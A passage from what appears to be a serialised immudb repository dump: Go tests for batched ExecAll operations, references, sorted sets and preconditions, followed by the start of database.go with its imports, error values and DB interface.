float,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t}\n\n\t\tgo func() {\n\t\t\tidx, err := db.ExecAll(context.Background(), aOps)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, idx)\n\t\t\twg.Done()\n\t\t}()\n\n\t}\n\n\twg.Wait()\n\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\tfor i := 1; i <= 10; i++ {\n\t\tset := strconv.FormatUint(uint64(i), 10)\n\n\t\tzList, err := db.ZScan(context.Background(), &schema.ZScanRequest{\n\t\t\tSet:     []byte(set),\n\t\t\tSinceTx: 10,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, zList.Entries, 10)\n\t\trequire.Equal(t, zList.Entries[i-1].Entry.Value, []byte(strconv.FormatUint(uint64(i), 10)))\n\n\t}\n}\n\nfunc TestExecAllNoWait(t *testing.T) {\n\tdb := makeDb(t)\n\n\tt.Run(\"ExecAll with NoWait should be self-contained\", func(t *testing.T) {\n\t\taOps := &schema.ExecAllRequest{\n\t\t\tOperations: []*schema.Op{\n\t\t\t\t{\n\t\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\t\tKey:           []byte(`ref`),\n\t\t\t\t\t\t\tReferencedKey: []byte(`key`),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tNoWait: true,\n\t\t}\n\t\t_, err := db.ExecAll(context.Background(), aOps)\n\t\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\t\trequire.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained)\n\t})\n\n\tt.Run(\"ExecAll with NoWait should be self-contained\", func(t *testing.T) {\n\t\taOps := &schema.ExecAllRequest{\n\t\t\tOperations: []*schema.Op{\n\t\t\t\t{\n\t\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\t\tSet:      []byte(\"set\"),\n\t\t\t\t\t\t\tKey:      []byte(`key`),\n\t\t\t\t\t\t\tScore:    5.6,\n\t\t\t\t\t\t\tAtTx:     4,\n\t\t\t\t\t\t\tBoundRef: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tNoWait: true,\n\t\t}\n\t\t_, err := db.ExecAll(context.Background(), aOps)\n\t\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\t\trequire.ErrorIs(t, err, ErrNoWaitOperationMustBeSelfContained)\n\t})\n\n\tt.Run(\"ExecAll with NoWait consistent key switching from key into reference\", func(t *testing.T) {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{\n\t\t\tKVs: []*schema.KeyValue{\n\t\t\t\t{Key: []byte(\"key\"), Value: []byte(\"value\")},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\t\tKey: []byte(\"ref\"), ReferencedKey: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t_, err = db.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\t\tSet: []byte(\"set\"),\n\t\t\tKey: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\taOps := &schema.ExecAllRequest{\n\t\t\tOperations: []*schema.Op{\n\t\t\t\t{\n\t\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\t\tKey:   []byte(`key1`),\n\t\t\t\t\t\t\tValue: []byte(`value1`),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\t\tKey:           []byte(`key`),\n\t\t\t\t\t\t\tReferencedKey: []byte(`key1`),\n\t\t\t\t\t\t\tBoundRef:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tNoWait: true,\n\t\t}\n\t\thdr, err := db.ExecAll(context.Background(), aOps)\n\t\trequire.NoError(t, err)\n\n\t\tentry, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(\"key\"), SinceTx: hdr.Id})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, entry)\n\t\trequire.Equal(t, []byte(`key1`), entry.Key)\n\t\trequire.Equal(t, []byte(`value1`), entry.Value)\n\t\trequire.NotNil(t, entry.ReferencedBy)\n\t\trequire.Equal(t, []byte(`key`), entry.ReferencedBy.Key)\n\t\trequire.Equal(t, hdr.Id, entry.ReferencedBy.Tx)\n\n\t\t// ref became a reference of a reference\n\t\t_, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte(\"ref\")})\n\t\trequire.ErrorIs(t, err, ErrKeyResolutionLimitReached)\n\n\t\t// \"key\" became a reference\n\t\t_, err = db.ZScan(context.Background(), &schema.ZScanRequest{\n\t\t\tSet: []byte(\"set\"),\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrKeyResolutionLimitReached)\n\t})\n}\n\n/*\nfunc TestStore_ExecAllOpsConcurrentOnAlreadyPersistedKeys(t *testing.T) {\n\tdbDir := tmpDir()\n\n\tst, _ := makeStoreAt(dbDir)\n\n\tfor i := 1; i <= 10; i++ {\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\tkey := strconv.FormatUint(uint64(j), 10)\n\t\t\t_, _ = st.Set(context.Background(), schema.KeyValue{\n\t\t\t\tKey:   []byte(key),\n\t\t\t\tValue: []byte(key),\n\t\t\t})\n\t\t}\n\t}\n\n\tst.tree.close(true)\n\tst.Close()\n\n\tst, closer := makeStoreAt(dbDir)\n\tdefer closer()\n\n\tst.tree.WaitUntil(99)\n\n\twg := sync.WaitGroup{}\n\twg.Add(10)\n\n\tgIdx := uint64(0)\n\tfor i := 1; i <= 10; i++ {\n\t\taOps := &schema.Ops{\n\t\t\tOperations: []*schema.Op{},\n\t\t}\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\tkey := strconv.FormatUint(uint64(j), 10)\n\t\t\tval := strconv.FormatUint(uint64(i), 10)\n\n\t\t\tfloat, err := strconv.ParseFloat(fmt.Sprintf(\"%d\", j), 64)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\tset := val\n\t\t\trefKey := key\n\t\t\taOp := &schema.Op{\n\t\t\t\tOperation: &schema.Op_ZOpts{\n\t\t\t\t\tZOpts: &schema.ZAddOptions{\n\t\t\t\t\t\tSet: []byte(set),\n\t\t\t\t\t\tKey: []byte(refKey),\n\t\t\t\t\t\tScore: &schema.Score{\n\t\t\t\t\t\t\tScore: float,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tIndex: &schema.Index{Index: gIdx},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t\tgIdx++\n\t\t}\n\t\tgo func() {\n\t\t\tidx, err := st.ExecAllOps(aOps)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, idx)\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\tfor i := 1; i <= 10; i++ {\n\t\tset := strconv.FormatUint(uint64(i), 10)\n\n\t\tzList, err := st.ZScan(context.Background(), schema.ZScanOptions{\n\t\t\tSet: []byte(set),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, zList.Items, 10)\n\t\trequire.Equal(t, zList.Items[i-1].Item.Value, []byte(strconv.FormatUint(uint64(i), 10)))\n\t}\n}\n\nfunc TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotKeys(t *testing.T) {\n\t// even items are stored on disk with regular sets\n\t// odd ones are stored inside batch operations\n\t// zAdd references all items\n\n\tdbDir := tmpDir()\n\n\tst, _ := makeStoreAt(dbDir)\n\n\tfor i := 1; i <= 10; i++ {\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\t// even\n\t\t\tif j%2 == 0 {\n\t\t\t\tkey := strconv.FormatUint(uint64(j), 10)\n\t\t\t\t_, _ = st.Set(context.Background(), schema.KeyValue{\n\t\t\t\t\tKey:   []byte(key),\n\t\t\t\t\tValue: []byte(key),\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\tst.tree.close(true)\n\tst.Close()\n\n\tst, closer := makeStoreAt(dbDir)\n\tdefer closer()\n\n\tst.tree.WaitUntil(49)\n\n\twg := sync.WaitGroup{}\n\twg.Add(10)\n\n\tgIdx := uint64(0)\n\tfor i := 1; i <= 10; i++ {\n\t\taOps := &schema.Ops{\n\t\t\tOperations: []*schema.Op{},\n\t\t}\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\tkey := strconv.FormatUint(uint64(j), 10)\n\t\t\tval := strconv.FormatUint(uint64(i), 10)\n\t\t\tvar index *schema.Index\n\n\t\t\t// odd\n\t\t\tif j%2 != 0 {\n\t\t\t\taOp := &schema.Op{\n\t\t\t\t\tOperation: &schema.Op_KVs{\n\t\t\t\t\t\tKVs: &schema.KeyValue{\n\t\t\t\t\t\t\tKey:   []byte(key),\n\t\t\t\t\t\t\tValue: []byte(key),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t\t\tindex = nil\n\t\t\t} else {\n\t\t\t\tindex = &schema.Index{Index: gIdx}\n\t\t\t\tgIdx++\n\t\t\t}\n\t\t\tfloat, err := strconv.ParseFloat(fmt.Sprintf(\"%d\", j), 64)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\tset := val\n\t\t\trefKey := key\n\t\t\taOp := &schema.Op{\n\t\t\t\tOperation: &schema.Op_ZOpts{\n\t\t\t\t\tZOpts: &schema.ZAddOptions{\n\t\t\t\t\t\tSet: []byte(set),\n\t\t\t\t\t\tKey: []byte(refKey),\n\t\t\t\t\t\tScore: &schema.Score{\n\t\t\t\t\t\t\tScore: float,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tIndex: index,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t}\n\t\tgo func() {\n\t\t\tidx, err := st.ExecAllOps(aOps)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, idx)\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\tfor i := 1; i <= 10; i++ {\n\t\tset := strconv.FormatUint(uint64(i), 10)\n\t\tzList, err := st.ZScan(context.Background(), schema.ZScanOptions{\n\t\t\tSet: []byte(set),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, zList.Items, 10)\n\t\trequire.Equal(t, zList.Items[i-1].Item.Value, []byte(strconv.FormatUint(uint64(i), 10)))\n\t}\n}\n\nfunc TestStore_ExecAllOpsConcurrentOnMixedPersistedAndNotOnEqualKeysAndEqualScore(t *testing.T) {\n\t// Inserting 100 items:\n\t// even items are stored on disk with regular sets\n\t// odd ones are stored inside batch operations\n\t// there are 50 batch Ops with zAdd operation for reference even items already stored\n\t// and in addition 50 batch Ops with 1 kv operation for odd items and zAdd operation for reference them onFly\n\n\t// items have same score. They will be returned in insertion order since key is composed by:\n\t// {separator}{set}{separator}{score}{key}{bit index presence flag}{index}\n\n\tdbDir := tmpDir()\n\n\tst, _ := makeStoreAt(dbDir)\n\n\tkeyA := \"A\"\n\n\tvar index *schema.Index\n\n\tfor i := 1; i <= 10; i++ {\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\t// even\n\t\t\tif j%2 == 0 {\n\t\t\t\tval := fmt.Sprintf(\"%d,%d\", i, j)\n\t\t\t\tindex, _ = st.Set(context.Background(), schema.KeyValue{\n\t\t\t\t\tKey:   []byte(keyA),\n\t\t\t\t\tValue: []byte(val),\n\t\t\t\t})\n\t\t\t\trequire.NotNil(t, index)\n\t\t\t}\n\t\t}\n\t}\n\n\tst.tree.close(true)\n\tst.Close()\n\n\tst, closer := makeStoreAt(dbDir)\n\tdefer closer()\n\n\tst.tree.WaitUntil(49)\n\n\twg := sync.WaitGroup{}\n\twg.Add(100)\n\n\tgIdx := uint64(0)\n\n\tfor i := 1; i <= 10; i++ {\n\t\tfor j := 1; j <= 10; j++ {\n\t\t\taOps := &schema.Ops{\n\t\t\t\tOperations: []*schema.Op{},\n\t\t\t}\n\n\t\t\t// odd\n\t\t\tif j%2 != 0 {\n\t\t\t\tval := fmt.Sprintf(\"%d,%d\", i, j)\n\t\t\t\taOp := &schema.Op{\n\t\t\t\t\tOperation: &schema.Op_KVs{\n\t\t\t\t\t\tKVs: &schema.KeyValue{\n\t\t\t\t\t\t\tKey:   []byte(keyA),\n\t\t\t\t\t\t\tValue: []byte(val),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t\t\tindex = nil\n\t\t\t} else {\n\t\t\t\tindex = &schema.Index{Index: gIdx}\n\t\t\t\tgIdx++\n\t\t\t}\n\n\t\t\tfloat, err := strconv.ParseFloat(fmt.Sprintf(\"%d\", j), 64)\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\trefKey := keyA\n\t\t\tset := strconv.FormatUint(uint64(j), 10)\n\t\t\taOp := &schema.Op{\n\t\t\t\tOperation: &schema.Op_ZOpts{\n\t\t\t\t\tZOpts: &schema.ZAddOptions{\n\t\t\t\t\t\tSet: []byte(set),\n\t\t\t\t\t\tKey: []byte(refKey),\n\t\t\t\t\t\tScore: &schema.Score{\n\t\t\t\t\t\t\tScore: float,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tIndex: index,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\taOps.Operations = append(aOps.Operations, aOp)\n\t\t\tgo func() {\n\t\t\t\tidx, err := st.ExecAllOps(aOps)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, idx)\n\t\t\t\twg.Done()\n\t\t\t}()\n\t\t}\n\n\t}\n\twg.Wait()\n\tif t.Failed() {\n\t\tt.FailNow()\n\t}\n\n\thistory, err := st.History(&schema.HistoryOptions{\n\t\tKey: []byte(keyA),\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, history)\n\tfor i := 1; i <= 10; i++ {\n\t\tset := strconv.FormatUint(uint64(i), 10)\n\t\tzList, err := st.ZScan(context.Background(), schema.ZScanOptions{\n\t\t\tSet: []byte(set),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, err)\n\t\t// item are returned in insertion order since they have same score\n\t\trequire.Len(t, zList.Items, 10)\n\t}\n}\n\nfunc TestExecAllOpsMonotoneTsRange(t *testing.T) {\n\tst, closer := makeStore()\n\tdefer closer()\n\n\tbatchSize := 100\n\n\tatomicOps := make([]*schema.Op, batchSize)\n\n\tfor i := 0; i < batchSize; i++ {\n\t\tkey := []byte(strconv.FormatUint(uint64(i), 10))\n\t\tvalue := []byte(strconv.FormatUint(uint64(batchSize+batchSize+i), 10))\n\t\tatomicOps[i] = &schema.Op{\n\t\t\tOperation: &schema.Op_KVs{\n\t\t\t\tKVs: &schema.KeyValue{\n\t\t\t\t\tKey:   key,\n\t\t\t\t\tValue: value,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\tidx, err := st.ExecAllOps(&schema.Ops{Operations: atomicOps})\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(batchSize), idx.GetIndex()+1)\n\n\tfor i := 0; i < batchSize; i++ {\n\t\titem, err := st.ByIndex(schema.Index{\n\t\t\tIndex: uint64(i),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(strconv.FormatUint(uint64(batchSize+batchSize+i), 10)), item.Value)\n\t\trequire.Equal(t, uint64(i), item.Index)\n\t}\n}\n*/\n\nfunc TestOps_ReferenceKeyAlreadyPersisted(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx0, _ := db.Set(context.Background(), &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{\n\t\t\t{\n\t\t\t\tKey:   []byte(`persistedKey`),\n\t\t\t\tValue: []byte(`persistedVal`),\n\t\t\t},\n\t\t},\n\t})\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           nil,\n\t\t\t\t\t\tReferencedKey: nil,\n\t\t\t\t\t\tAtTx:          idx0.Id,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\t// Ops payload\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(`myReference`),\n\t\t\t\t\t\tReferencedKey: []byte(`persistedKey`),\n\t\t\t\t\t\tAtTx:          idx0.Id,\n\t\t\t\t\t\tBoundRef:      true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tidx1, err := db.ExecAll(context.Background(), aOps)\n\trequire.NoError(t, err)\n\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(`myReference1`),\n\t\t\t\t\t\tReferencedKey: []byte(`myReference`),\n\t\t\t\t\t\tAtTx:          idx1.Id,\n\t\t\t\t\t\tBoundRef:      true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference)\n\n\taOps = &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(`persistedKey`),\n\t\t\t\t\t\tReferencedKey: []byte(`persistedKey`),\n\t\t\t\t\t\tAtTx:          idx0.Id,\n\t\t\t\t\t\tBoundRef:      true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err = db.ExecAll(context.Background(), aOps)\n\trequire.ErrorIs(t, err, ErrFinalKeyCannotBeConvertedIntoReference)\n\n\tref, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myReference`), SinceTx: idx1.Id})\n\trequire.NoError(t, err)\n\trequire.NotEmptyf(t, ref, \"Should not be empty\")\n\trequire.Equal(t, []byte(`persistedVal`), ref.Value, \"Should have referenced item value\")\n\trequire.Equal(t, []byte(`persistedKey`), ref.Key, \"Should have referenced item value\")\n}\n\nfunc TestOps_Preconditions(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\tValue: []byte(\"value\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\tValue: []byte(\"value\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\tValue: []byte(\"value\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\tKey:   []byte(\"key\"),\n\t\t\t\t\tValue: []byte(\"value\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"key\")),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(\"reference\"),\n\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustExist([]byte(\"reference\")),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrPreconditionFailed)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(\"reference\"),\n\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(\"reference\")),\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(\"reference\"),\n\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{nil},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(\"reference\"),\n\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: []*schema.Precondition{\n\t\t\tschema.PreconditionKeyMustNotExist(\n\t\t\t\t[]byte(\"reference\" + strings.Repeat(\"*\", db.GetOptions().storeOpts.MaxKeyLen)),\n\t\t\t),\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n\n\tc := []*schema.Precondition{}\n\tfor i := 0; i <= db.GetOptions().storeOpts.MaxTxEntries; i++ {\n\t\tc = append(c, schema.PreconditionKeyMustNotExist(\n\t\t\t[]byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t))\n\t}\n\n\t_, err = db.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{{\n\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\tKey:           []byte(\"reference\"),\n\t\t\t\t\tReferencedKey: []byte(\"key\"),\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t\tPreconditions: c,\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition,\n\t\t\"did not fail when too many preconditions were given\")\n\n}\n\n/*\nfunc TestOps_ReferenceKeyNotYetPersisted(t *testing.T) {\n\tst, closer := makeStore()\n\tdefer closer()\n\n\t// Ops payload\n\taOps := &schema.Ops{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_KVs{\n\t\t\t\t\tKVs: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ROpts{\n\t\t\t\t\tROpts: &schema.ReferenceOptions{\n\t\t\t\t\t\tReference: []byte(`myTag`),\n\t\t\t\t\t\tKey:       []byte(`key`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := st.ExecAllOps(aOps)\n\trequire.NoError(t, err)\n\n\tref, err := st.Get(context.Background(), schema.Key{Key: []byte(`myTag`)})\n\n\trequire.NoError(t, err)\n\trequire.NotEmptyf(t, ref, \"Should not be empty\")\n\trequire.Equal(t, []byte(`val`), ref.Value, \"Should have referenced item value\")\n\trequire.Equal(t, []byte(`key`), ref.Key, \"Should have referenced item value\")\n\n}\n\nfunc TestOps_ReferenceIndexNotExists(t *testing.T) {\n\tst, closer := makeStore()\n\tdefer closer()\n\n\t// Ops payload\n\taOps := &schema.Ops{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ROpts{\n\t\t\t\t\tROpts: &schema.ReferenceOptions{\n\t\t\t\t\t\tReference: []byte(`myReference`),\n\t\t\t\t\t\tKey:       []byte(`persistedKey`),\n\t\t\t\t\t\tIndex: &schema.Index{\n\t\t\t\t\t\t\tIndex: 1234,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := st.ExecAllOps(aOps)\n\trequire.ErrorIs(t, err, ErrIndexNotFound)\n}\n\nfunc TestOps_ReferenceIndexMissing(t *testing.T) {\n\tst, closer := makeStore()\n\tdefer closer()\n\n\t// Ops payload\n\taOps := &schema.Ops{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ROpts{\n\t\t\t\t\tROpts: &schema.ReferenceOptions{\n\t\t\t\t\t\tReference: []byte(`myReference`),\n\t\t\t\t\t\tKey:       []byte(`persistedKey`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\t_, err := st.ExecAllOps(aOps)\n\trequire.ErrorIs(t, err, ErrReferenceIndexMissing)\n}\n*/\n"
  },
  {
    "path": "pkg/database/database.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/document\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/pgsql/pgschema\"\n)\n\nconst (\n\tMaxKeyResolutionLimit = 1\n\tMaxKeyScanLimit       = 2500\n)\n\nvar (\n\tErrKeyResolutionLimitReached  = errors.New(\"key resolution limit reached. It may be due to cyclic references\")\n\tErrResultSizeLimitExceeded    = errors.New(\"result size limit exceeded\")\n\tErrResultSizeLimitReached     = errors.New(\"result size limit reached\")\n\tErrIllegalArguments           = store.ErrIllegalArguments\n\tErrIllegalState               = store.ErrIllegalState\n\tErrIsReplica                  = errors.New(\"database is read-only because it's a replica\")\n\tErrNotReplica                 = errors.New(\"database is NOT a replica\")\n\tErrReplicaDivergedFromPrimary = errors.New(\"replica diverged from primary\")\n\tErrInvalidRevision            = errors.New(\"invalid key revision number\")\n)\n\ntype DB interface {\n\tGetName() string\n\n\t// Setttings\n\tGetOptions() *Options\n\n\tPath() string\n\n\tAsReplica(asReplica, syncReplication bool, syncAcks int)\n\tIsReplica() bool\n\n\tIsSyncReplicationEnabled() bool\n\tSetSyncReplication(enabled bool)\n\n\tMaxResultSize() int\n\n\t// 